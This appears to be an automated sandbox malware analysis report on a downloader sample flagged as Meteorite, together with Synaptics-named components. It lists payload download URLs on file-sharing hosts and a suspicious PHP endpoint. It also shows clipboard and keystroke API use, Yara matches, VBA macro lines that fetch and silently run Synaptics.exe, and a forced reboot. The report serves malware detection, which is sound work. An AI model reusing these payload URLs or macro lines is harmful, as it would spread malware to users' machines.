Source: file.exe, 00000000.00000003.1800217674.0000000000751000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.1801335644.0000000000751000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://bruplong.oss-accelerate.aliyuncs.com/270/wic.exed
Source: file.exe, 00000000.00000003.1800217674.0000000000751000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.1801335644.0000000000751000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://bruplong.oss-accelerate.aliyuncs.com/270/wic.exes
Source: file.exe, 00000000.00000002.1804354538.0000000000785000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1800183063.0000000000781000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://bruplong.oss-accelerate.aliyuncs.com/270/wic.exewsC:
Source: 2.exe.0.dr, ._cache_2.exe.5.dr	String found in binary or memory: http://cacerts.digicert.com/DigiCertAssuredIDRootCA.crt0E
Source: 2.exe.0.dr, ._cache_2.exe.5.dr	String found in binary or memory: http://cacerts.digicert.com/DigiCertTrustedG4CodeSigningRSA4096SHA3842021CA1.crt0
Source: 2.exe.0.dr, ._cache_2.exe.5.dr	String found in binary or memory: http://cacerts.digicert.com/DigiCertTrustedG4RSA4096SHA256TimeStampingCA.crt0
Source: 2.exe.0.dr, ._cache_2.exe.5.dr	String found in binary or memory: http://cacerts.digicert.com/DigiCertTrustedRootG4.crt0C
Source: 2.exe.0.dr, ._cache_2.exe.5.dr	String found in binary or memory: http://crl3.digicert.com/DigiCertAssuredIDRootCA.crl0
Source: 2.exe.0.dr, ._cache_2.exe.5.dr	String found in binary or memory: http://crl3.digicert.com/DigiCertTrustedG4CodeSigningRSA4096SHA3842021CA1.crl0S
Source: 2.exe.0.dr, ._cache_2.exe.5.dr	String found in binary or memory: http://crl3.digicert.com/DigiCertTrustedG4RSA4096SHA256TimeStampingCA.crl0
Source: ._cache_2.exe.5.dr	String found in binary or memory: http://crl3.digicert.com/DigiCertTrustedRootG4.crl0
Source: 2.exe.0.dr, ._cache_2.exe.5.dr	String found in binary or memory: http://crl4.digicert.com/DigiCertTrustedG4CodeSigningRSA4096SHA3842021CA1.crl0=
Source: 2[1].exe.0.dr	String found in binary or memory: http://freedns.afraid.org/api/?action=getdyndns&sha=a30fa98efc092684e8d1c5cff797bcc613562978
Source: file.exe, RCXF308.tmp.3.dr, RCXF376.tmp.3.dr	String found in binary or memory: http://google.com
Source: ._cache_1.exe, 00000002.00000002.1739875260.0000000000401000.00000040.00000001.01000000.00000008.sdmp	String found in binary or memory: http://lineage.ncsoft.co.kr/download/
Source: 2.exe.0.dr, ._cache_2.exe.5.dr	String found in binary or memory: http://ocsp.digicert.com0
Source: 2.exe.0.dr, ._cache_2.exe.5.dr	String found in binary or memory: http://ocsp.digicert.com0A
Source: 2.exe.0.dr, ._cache_2.exe.5.dr	String found in binary or memory: http://ocsp.digicert.com0C
Source: 2.exe.0.dr, ._cache_2.exe.5.dr	String found in binary or memory: http://ocsp.digicert.com0X
Source: wic.exe, 0000000B.00000003.1814987251.00000000016A9000.00000004.00000020.00020000.00000000.sdmp, cbas.exe, cbas.exe, 00000012.00000002.3537228980.0000000000BD3000.00000002.00000001.01000000.0000001A.sdmp, cbas.exe, 00000012.00000002.3538064091.0000000000EAE000.00000004.00000020.00020000.00000000.sdmp, cbas.exe, 00000012.00000000.1920081415.0000000000BD3000.00000002.00000001.01000000.0000001A.sdmp, cbas.exe.11.dr	String found in binary or memory: http://pasy.telefonicas.fyi/wwwww.php
Source: wic.exe, 0000000B.00000003.1814987251.00000000016A9000.00000004.00000020.00020000.00000000.sdmp, cbas.exe, 00000012.00000002.3537228980.0000000000BD3000.00000002.00000001.01000000.0000001A.sdmp, cbas.exe, 00000012.00000000.1920081415.0000000000BD3000.00000002.00000001.01000000.0000001A.sdmp, cbas.exe.11.dr	String found in binary or memory: http://pasy.telefonicas.fyi/wwwww.phpC:
Source: 2.exe.0.dr, ._cache_2.exe.5.dr	String found in binary or memory: http://www.digicert.com/CPS0
Source: ._cache_1.exe, 00000002.00000002.1739875260.0000000000401000.00000040.00000001.01000000.00000008.sdmp	String found in binary or memory: http://www.lineageonline.jp/
Source: 1.exe, 00000001.00000003.1715627958.0000000002130000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://xred.site50.net/syn/SSLLibrary.dlh
Source: 2[1].exe.0.dr	String found in binary or memory: http://xred.site50.net/syn/SSLLibrary.dll
Source: Synaptics.exe, 00000003.00000002.3538971140.00000000020C0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://xred.site50.net/syn/SSLLibrary.dll6
Source: 2[1].exe.0.dr	String found in binary or memory: http://xred.site50.net/syn/SUpdate.ini
Source: Synaptics.exe, 00000003.00000002.3538971140.00000000020C0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://xred.site50.net/syn/SUpdate.iniZ
Source: 2[1].exe.0.dr	String found in binary or memory: http://xred.site50.net/syn/Synaptics.rar
Source: Synaptics.exe, 00000003.00000002.3538971140.00000000020C0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://xred.site50.net/syn/Synaptics.rarZ
Source: Synaptics.exe, 00000003.00000002.3537477101.000000000077C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/
Source: Synaptics.exe, 00000003.00000003.2440072777.00000000007D5000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000003.00000003.2428940027.00000000007D5000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000003.00000002.3538251515.00000000007D5000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000003.00000003.2417824975.00000000007D5000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000003.00000003.2450428140.00000000007D5000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/-
Source: Synaptics.exe, 00000003.00000002.3537477101.0000000000761000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/google.com/load?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadC
Source: 1.exe, 00000001.00000003.1715627958.0000000002130000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSTmlVYkxhSDg5TzQ&export=downlo
Source: 2[1].exe.0.dr	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSTmlVYkxhSDg5TzQ&export=download
Source: Synaptics.exe, 00000003.00000002.3538971140.00000000020C0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSTmlVYkxhSDg5TzQ&export=downloadN
Source: 1.exe, 00000001.00000003.1715627958.0000000002130000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downlo4
Source: 2[1].exe.0.dr	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download
Source: Synaptics.exe, 00000003.00000003.2428940027.00000000007E6000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000003.00000003.2450428140.00000000007E6000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000003.00000003.2417824975.00000000007E6000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download#
Source: Synaptics.exe, 00000003.00000002.3538971140.00000000020C0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadJ
Source: Synaptics.exe, 00000003.00000003.2450428140.00000000007E6000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000003.00000003.2440072777.00000000007E6000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadW
Source: Synaptics.exe, 00000003.00000002.3537477101.000000000074B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadb
Source: Synaptics.exe, 00000003.00000002.3537477101.000000000074B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadf
Source: Synaptics.exe, 00000003.00000002.3537477101.000000000074B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download~
Source: 1.exe, 00000001.00000003.1715627958.0000000002130000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVzUyaHFYVkQxeFk&export=downloX
Source: 1.exe, 00000001.00000003.1715627958.0000000002130000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVzUyaHFYVkQxeFk&export=downloXO
Source: 2[1].exe.0.dr	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVzUyaHFYVkQxeFk&export=download
Source: Synaptics.exe, 00000003.00000002.3538971140.00000000020C0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVzUyaHFYVkQxeFk&export=downloadN
Source: Synaptics.exe, 00000003.00000002.3537477101.0000000000761000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.gook
Source: Synaptics.exe, 00000003.00000003.2450865873.0000000004805000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000003.00000002.3538251515.00000000007AB000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000003.00000003.2428940027.00000000007C1000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000003.00000003.2450428140.00000000007C1000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://drive.usercontent.google.com/
Source: Synaptics.exe, 00000003.00000003.2417824975.00000000007C1000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000003.00000003.2440072777.00000000007C1000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000003.00000003.2428940027.00000000007C1000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000003.00000003.2450428140.00000000007C1000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://drive.usercontent.google.com/:
Source: Synaptics.exe, 00000003.00000003.2440072777.00000000007E0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://drive.usercontent.google.com/download?id=0BxsMXGfPIZfSVlVsOG
Source: Synaptics.exe, 00000003.00000002.3537477101.000000000077C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://drive.usercontent.google.com/download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download
Source: Synaptics.exe, 00000003.00000002.3537477101.000000000077C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://drive.usercontent.google.com/download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download.
Source: Synaptics.exe, 00000003.00000003.2450428140.00000000007E0000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000003.00000003.2417824975.00000000007DE000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000003.00000003.2440072777.00000000007E0000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000003.00000003.2428940027.00000000007E0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://drive.usercontent.google.com/download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download6
Source: Synaptics.exe, 00000003.00000002.3537477101.000000000077C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://drive.usercontent.google.com/download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download9
Source: Synaptics.exe, 00000003.00000002.3537477101.000000000077C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://drive.usercontent.google.com/download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadU
Source: Synaptics.exe, 00000003.00000002.3537477101.000000000077C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://drive.usercontent.google.com/download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloado
Source: Synaptics.exe, 00000003.00000002.3537477101.000000000073B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://drive.usercontent.google.com/download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadt
Source: Synaptics.exe, 00000003.00000002.3537477101.000000000077C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://drive.usercontent.google.com/download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadz
Source: file.exe, 00000000.00000002.1801335644.000000000073B000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1800217674.000000000073B000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1708777064.000000000073F000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://login.live.com
Source: ._cache_2.exe, 00000008.00000003.1851226611.0000000000CB7000.00000004.00000020.00020000.00000000.sdmp, ._cache_2.exe, 00000008.00000003.1846288362.0000000000CF2000.00000004.00000020.00020000.00000000.sdmp, ._cache_2.exe, 00000008.00000003.1888790338.0000000000D06000.00000004.00000020.00020000.00000000.sdmp, ._cache_2.exe, 00000008.00000003.1848850504.000000000B988000.00000004.00000020.00020000.00000000.sdmp, ._cache_2.exe, 00000008.00000003.1792819472.000000000B978000.00000004.00000020.00020000.00000000.sdmp, ._cache_2.exe, 00000008.00000003.1849571104.000000000B976000.00000004.00000020.00020000.00000000.sdmp, ._cache_2.exe, 00000008.00000003.1846016915.000000000B988000.00000004.00000020.00020000.00000000.sdmp, ._cache_2.exe, 00000008.00000003.1887786391.0000000000CB8000.00000004.00000020.00020000.00000000.sdmp, ._cache_2.exe, 00000008.00000003.1851226611.0000000000CBF000.00000004.00000020.00020000.00000000.sdmp, ._cache_2.exe, 00000008.00000003.1772719262.000000000674B000.00000004.00000020.00020000.00000000.sdmp, ._cache_2.exe, 00000008.00000003.1851185608.0000000000CFD000.00000004.00000020.00020000.00000000.sdmp, ._cache_2.exe, 00000008.00000003.1772791290.0000000000D07000.00000004.00000020.00020000.00000000.sdmp, ._cache_2.exe, 00000008.00000003.1792637441.000000000B969000.00000004.00000020.00020000.00000000.sdmp, ._cache_2.exe, 00000008.00000003.1793242796.000000000B98A000.00000004.00000020.00020000.00000000.sdmp, ._cache_2.exe, 00000008.00000003.1838969140.000000000B988000.00000004.00000020.00020000.00000000.sdmp, ._cache_2.exe, 00000008.00000002.1889810525.0000000000D08000.00000004.00000020.00020000.00000000.sdmp, ._cache_2.exe, 00000008.00000003.1887975788.000000000B978000.00000004.00000020.00020000.00000000.sdmp, ._cache_2.exe, 00000008.00000003.1792819472.000000000B98A000.00000004.00000020.00020000.00000000.sdmp, ._cache_2.exe, 00000008.00000003.1887786391.0000000000D04000.00000004.00000020.00020000.00000000.sdmp, ._cache_2.exe, 00000008.00000003.1850729652.0000000000CFD000.00000004.00000020.00020000.00000000.sdmp, ._cache_2.exe, 00000008.00000003.1792637441.000000000B978000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://rar.tw
Source: ._cache_2.exe, 00000008.00000003.1846288362.0000000000CF2000.00000004.00000020.00020000.00000000.sdmp, ._cache_2.exe, 00000008.00000003.1888790338.0000000000D06000.00000004.00000020.00020000.00000000.sdmp, ._cache_2.exe, 00000008.00000003.1851185608.0000000000CFD000.00000004.00000020.00020000.00000000.sdmp, ._cache_2.exe, 00000008.00000002.1889810525.0000000000D08000.00000004.00000020.00020000.00000000.sdmp, ._cache_2.exe, 00000008.00000003.1887786391.0000000000D04000.00000004.00000020.00020000.00000000.sdmp, ._cache_2.exe, 00000008.00000003.1850729652.0000000000CFD000.00000004.00000020.00020000.00000000.sdmp, ._cache_2.exe, 00000008.00000003.1846620779.0000000000CFC000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://rar.tw)
Source: ._cache_2.exe, 00000008.00000003.1846288362.0000000000CF2000.00000004.00000020.00020000.00000000.sdmp, ._cache_2.exe, 00000008.00000003.1888790338.0000000000D06000.00000004.00000020.00020000.00000000.sdmp, ._cache_2.exe, 00000008.00000003.1851185608.0000000000CFD000.00000004.00000020.00020000.00000000.sdmp, ._cache_2.exe, 00000008.00000003.1846217794.000000000B992000.00000004.00000020.00020000.00000000.sdmp, ._cache_2.exe, 00000008.00000003.1848955591.000000000B9D3000.00000004.00000020.00020000.00000000.sdmp, ._cache_2.exe, 00000008.00000003.1838969140.000000000B988000.00000004.00000020.00020000.00000000.sdmp, ._cache_2.exe, 00000008.00000002.1889810525.0000000000D08000.00000004.00000020.00020000.00000000.sdmp, ._cache_2.exe, 00000008.00000003.1887786391.0000000000D04000.00000004.00000020.00020000.00000000.sdmp, ._cache_2.exe, 00000008.00000003.1850992310.000000000B9D3000.00000004.00000020.00020000.00000000.sdmp, ._cache_2.exe, 00000008.00000003.1850729652.0000000000CFD000.00000004.00000020.00020000.00000000.sdmp, ._cache_2.exe, 00000008.00000003.1845387925.000000000B991000.00000004.00000020.00020000.00000000.sdmp, ._cache_2.exe, 00000008.00000003.1849331101.000000000B9D3000.00000004.00000020.00020000.00000000.sdmp, ._cache_2.exe, 00000008.00000003.1846950203.000000000B9D2000.00000004.00000020.00020000.00000000.sdmp, ._cache_2.exe, 00000008.00000003.1839631873.000000000B98B000.00000004.00000020.00020000.00000000.sdmp, ._cache_2.exe, 00000008.00000003.1846620779.0000000000CFC000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://rar.tw/
Source: 1.exe, 00000001.00000003.1715627958.0000000002130000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://www.dropbox.com/s/fzj752whr3ontsm/SSLLibrary.dll?dl=0
Source: 2[1].exe.0.dr	String found in binary or memory: https://www.dropbox.com/s/fzj752whr3ontsm/SSLLibrary.dll?dl=1
Source: Synaptics.exe, 00000003.00000002.3538971140.00000000020C0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://www.dropbox.com/s/fzj752whr3ontsm/SSLLibrary.dll?dl=1:
Source: 1.exe, 00000001.00000003.1715627958.0000000002130000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://www.dropbox.com/s/n1w4p8gc6jzo0sg/SUpdate.ini?dl
Source: 2[1].exe.0.dr	String found in binary or memory: https://www.dropbox.com/s/n1w4p8gc6jzo0sg/SUpdate.ini?dl=1
Source: Synaptics.exe, 00000003.00000002.3538971140.00000000020C0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://www.dropbox.com/s/n1w4p8gc6jzo0sg/SUpdate.ini?dl=16
Source: 2[1].exe.0.dr	String found in binary or memory: https://www.dropbox.com/s/zhp1b06imehwylq/Synaptics.rar?dl=1
Source: Synaptics.exe, 00000003.00000002.3538971140.00000000020C0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://www.dropbox.com/s/zhp1b06imehwylq/Synaptics.rar?dl=1:

Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49876
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49887
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49852
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49861
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49870
Source: unknown	Network traffic detected: HTTP traffic on port 49870 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49852 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49876 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49845 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49861 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49845
Source: unknown	Network traffic detected: HTTP traffic on port 49887 -> 443

Source: unknown	HTTPS traffic detected: 142.250.186.142:443 -> 192.168.2.4:49845 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 142.250.185.225:443 -> 192.168.2.4:49852 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 142.250.186.142:443 -> 192.168.2.4:49861 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 142.250.186.142:443 -> 192.168.2.4:49876 version: TLS 1.2

Source: C:\Program Files (x86)\3.exe

Code function: 7_2_00401000 OpenClipboard,GetClipboardData,GlobalLock,lstrlenW,lstrcpyW,lstrlenW,GlobalUnlock,CloseClipboard,

7_2_00401000

Source: C:\Program Files (x86)\3.exe

Code function: 7_2_00401110 lstrlenW,lstrlenW,lstrlenW,GlobalAlloc,lstrlenW,GlobalLock,lstrcpynW,GlobalUnlock,OpenClipboard,EmptyClipboard,SetClipboardData,CloseClipboard,

7_2_00401110

Source: C:\Program Files (x86)\3.exe

Code function: 7_2_00401000 OpenClipboard,GetClipboardData,GlobalLock,lstrlenW,lstrcpyW,lstrlenW,GlobalUnlock,CloseClipboard,

7_2_00401000

Source: C:\Windows\wic.exe

Code function: 11_2_00F1E9D8 GetKeyboardState,GetKeyboardLayout,MapVirtualKeyA,ToAsciiEx,LoadAcceleratorsW,LoadAcceleratorsW,

11_2_00F1E9D8

Source: C:\Windows\wic.exe

Code function: 11_2_00EA146C GetKeyState,GetKeyState,GetKeyState,SendMessageA,

11_2_00EA146C

System Summary

Malicious sample detected (through community Yara rule)

Source: file.exe, type: SAMPLE	Matched rule: Detects Meteorite downloader Author: ditekSHen
Source: 3.3.Synaptics.exe.20c4000.0.raw.unpack, type: UNPACKEDPE	Matched rule: Detects Meteorite downloader Author: ditekSHen
Source: 0.0.file.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: Detects Meteorite downloader Author: ditekSHen
Source: 3.3.Synaptics.exe.20c4000.0.unpack, type: UNPACKEDPE	Matched rule: Detects Meteorite downloader Author: ditekSHen
Source: 0.2.file.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: Detects Meteorite downloader Author: ditekSHen
Source: 3.3.Synaptics.exe.755cc8.1.raw.unpack, type: UNPACKEDPE	Matched rule: Detects Meteorite downloader Author: ditekSHen
Source: 00000003.00000003.1718137982.00000000020C4000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY	Matched rule: Detects Meteorite downloader Author: ditekSHen
Source: C:\Users\user\AppData\Local\Temp\RCXF376.tmp, type: DROPPED	Matched rule: Detects Meteorite downloader Author: ditekSHen
Source: C:\Users\user\AppData\Local\Temp\RCXF308.tmp, type: DROPPED	Matched rule: Detects Meteorite downloader Author: ditekSHen

Document contains an embedded VBA macro with suspicious strings

Source: SiyGYB3T.xlsm.3.dr	OLE, VBA macro line: FN = Environ("ALLUSERSPROFILE") & "\Synaptics\Synaptics.exe"
Source: SiyGYB3T.xlsm.3.dr	OLE, VBA macro line: Set myWS = CreateObject("WScript.Shell")
Source: SiyGYB3T.xlsm.3.dr	OLE, VBA macro line: Set myWS = CreateObject("WScript.Shell")
Source: SiyGYB3T.xlsm.3.dr	OLE, VBA macro line: Set myWS = CreateObject("WScript.Shell")
Source: SiyGYB3T.xlsm.3.dr	OLE, VBA macro line: TMP = Environ("Temp") & "\~$cache1.exe"
Source: SiyGYB3T.xlsm.3.dr	OLE, VBA macro line: If FSO.FileExists(Environ("ALLUSERSPROFILE") & "\Synaptics\Synaptics.exe") Then
Source: SiyGYB3T.xlsm.3.dr	OLE, VBA macro line: Shell Environ("ALLUSERSPROFILE") & "\Synaptics\Synaptics.exe", vbHide
Source: SiyGYB3T.xlsm.3.dr	OLE, VBA macro line: ElseIf FSO.FileExists(Environ("WINDIR") & "\System32\Synaptics\Synaptics.exe") Then
Source: SiyGYB3T.xlsm.3.dr	OLE, VBA macro line: Shell Environ("WINDIR") & "\System32\Synaptics\Synaptics.exe", vbHide
Source: SiyGYB3T.xlsm.3.dr	OLE, VBA macro line: Set WinHttpReq = CreateObject("WinHttp.WinHttpRequest.5.1")
Source: SiyGYB3T.xlsm.3.dr	OLE, VBA macro line: Set WinHttpReq = CreateObject("WinHttp.WinHttpRequest.5")
Source: HTAGVDFUIE.xlsm.3.dr	OLE, VBA macro line: FN = Environ("ALLUSERSPROFILE") & "\Synaptics\Synaptics.exe"
Source: HTAGVDFUIE.xlsm.3.dr	OLE, VBA macro line: Set myWS = CreateObject("WScript.Shell")
Source: HTAGVDFUIE.xlsm.3.dr	OLE, VBA macro line: Set myWS = CreateObject("WScript.Shell")
Source: HTAGVDFUIE.xlsm.3.dr	OLE, VBA macro line: Set myWS = CreateObject("WScript.Shell")
Source: HTAGVDFUIE.xlsm.3.dr	OLE, VBA macro line: TMP = Environ("Temp") & "\~$cache1.exe"
Source: HTAGVDFUIE.xlsm.3.dr	OLE, VBA macro line: If FSO.FileExists(Environ("ALLUSERSPROFILE") & "\Synaptics\Synaptics.exe") Then
Source: HTAGVDFUIE.xlsm.3.dr	OLE, VBA macro line: Shell Environ("ALLUSERSPROFILE") & "\Synaptics\Synaptics.exe", vbHide
Source: HTAGVDFUIE.xlsm.3.dr	OLE, VBA macro line: ElseIf FSO.FileExists(Environ("WINDIR") & "\System32\Synaptics\Synaptics.exe") Then
Source: HTAGVDFUIE.xlsm.3.dr	OLE, VBA macro line: Shell Environ("WINDIR") & "\System32\Synaptics\Synaptics.exe", vbHide
Source: HTAGVDFUIE.xlsm.3.dr	OLE, VBA macro line: Set WinHttpReq = CreateObject("WinHttp.WinHttpRequest.5.1")
Source: HTAGVDFUIE.xlsm.3.dr	OLE, VBA macro line: Set WinHttpReq = CreateObject("WinHttp.WinHttpRequest.5")

Document contains an embedded VBA with functions possibly related to ADO stream file operations

Source: SiyGYB3T.xlsm.3.dr	Stream path 'VBA/ThisWorkbook' : found possibly 'ADODB.Stream' functions open, read, savetofile, write
Source: HTAGVDFUIE.xlsm.3.dr	Stream path 'VBA/ThisWorkbook' : found possibly 'ADODB.Stream' functions open, read, savetofile, write

Document contains an embedded VBA with functions possibly related to HTTP operations

Source: SiyGYB3T.xlsm.3.dr	Stream path 'VBA/ThisWorkbook' : found possibly 'XMLHttpRequest' functions response, responsebody, responsetext, status, open, send
Source: HTAGVDFUIE.xlsm.3.dr	Stream path 'VBA/ThisWorkbook' : found possibly 'XMLHttpRequest' functions response, responsebody, responsetext, status, open, send

Document contains an embedded VBA with functions possibly related to WSH operations (process, registry, environment, or keystrokes)

Source: SiyGYB3T.xlsm.3.dr	Stream path 'VBA/ThisWorkbook' : found possibly 'WScript.Shell' functions regread, regwrite, environ
Source: HTAGVDFUIE.xlsm.3.dr	Stream path 'VBA/ThisWorkbook' : found possibly 'WScript.Shell' functions regread, regwrite, environ

Uses shutdown.exe to shutdown or reboot the system

Source: C:\Windows\SysWOW64\cmd.exe

Process created: C:\Windows\SysWOW64\shutdown.exe shutdown /r /t 0

Source: C:\Users\user\Desktop\._cache_1.exe	Code function: 2_2_00409080 CreateFontIndirectA,73A1A570,SetBkMode,GetObjectA,SelectObject,73A24D40,DeleteDC,NtdllDefWindowProc_A,CreateWindowExA,CreateWindowExA,SelectObject,73A24D40,DeleteDC,73A1A570,SetBkMode,GetObjectA,SelectObject,SetTextColor,SetTextAlign,TextOutA,EndDialog,	2_2_00409080
Source: C:\Users\user\Desktop\._cache_1.exe	Code function: 2_2_004093C0 InvalidateRect,InvalidateRect,InvalidateRect,InvalidateRect,InvalidateRect,InvalidateRect,InvalidateRect,73A1A570,SetBkMode,GetObjectA,SelectObject,GetPixel,DeleteDC,GetObjectA,SelectObject,GetPixel,DeleteDC,GetObjectA,SelectObject,GetPixel,DeleteDC,ScrollWindow,InvalidateRect,InvalidateRect,InvalidateRect,ScrollWindow,InvalidateRect,InvalidateRect,InvalidateRect,InvalidateRect,ScrollWindow,InvalidateRect,InvalidateRect,NtdllDefWindowProc_A,	2_2_004093C0
Source: C:\Users\user\Desktop\._cache_2.exe	Code function: 8_2_00DDBAC0 SetWindowLongW,NtdllDefWindowProc_W,	8_2_00DDBAC0

Source: C:\Users\user\Desktop\._cache_2.exe

Code function: 8_2_00DCA98F: __EH_prolog3_GS,CreateFileW,CloseHandle,CreateFileW,DeviceIoControl,CloseHandle,GetLastError,RemoveDirectoryW,DeleteFileW,

8_2_00DCA98F

Source: C:\Users\user\Desktop\file.exe	File created: C:\Windows\wic.exe	Jump to behavior
Source: C:\Windows\wic.exe	File created: C:\Windows\cbas.exe
Source: C:\Windows\wic.exe	File created: C:\Windows\msslac.dll

Source: C:\Users\user\Desktop\._cache_1.exe	Code function: 2_2_0040A8F0	2_2_0040A8F0
Source: C:\Users\user\Desktop\._cache_1.exe	Code function: 2_2_0040DCA0	2_2_0040DCA0
Source: C:\Users\user\Desktop\._cache_1.exe	Code function: 2_2_0040D8B0	2_2_0040D8B0
Source: C:\Users\user\Desktop\._cache_1.exe	Code function: 2_2_00407D50	2_2_00407D50
Source: C:\Users\user\Desktop\._cache_1.exe	Code function: 2_2_0040F203	2_2_0040F203
Source: C:\Users\user\Desktop\._cache_1.exe	Code function: 2_2_00405AF0	2_2_00405AF0
Source: C:\Users\user\Desktop\._cache_1.exe	Code function: 2_2_0040D2A0	2_2_0040D2A0
Source: C:\Users\user\Desktop\._cache_1.exe	Code function: 2_2_004093C0	2_2_004093C0
Source: C:\Users\user\Desktop\._cache_1.exe	Code function: 2_2_0040E790	2_2_0040E790
Source: C:\Users\user\Desktop\._cache_2.exe	Code function: 8_2_00DD28F1	8_2_00DD28F1
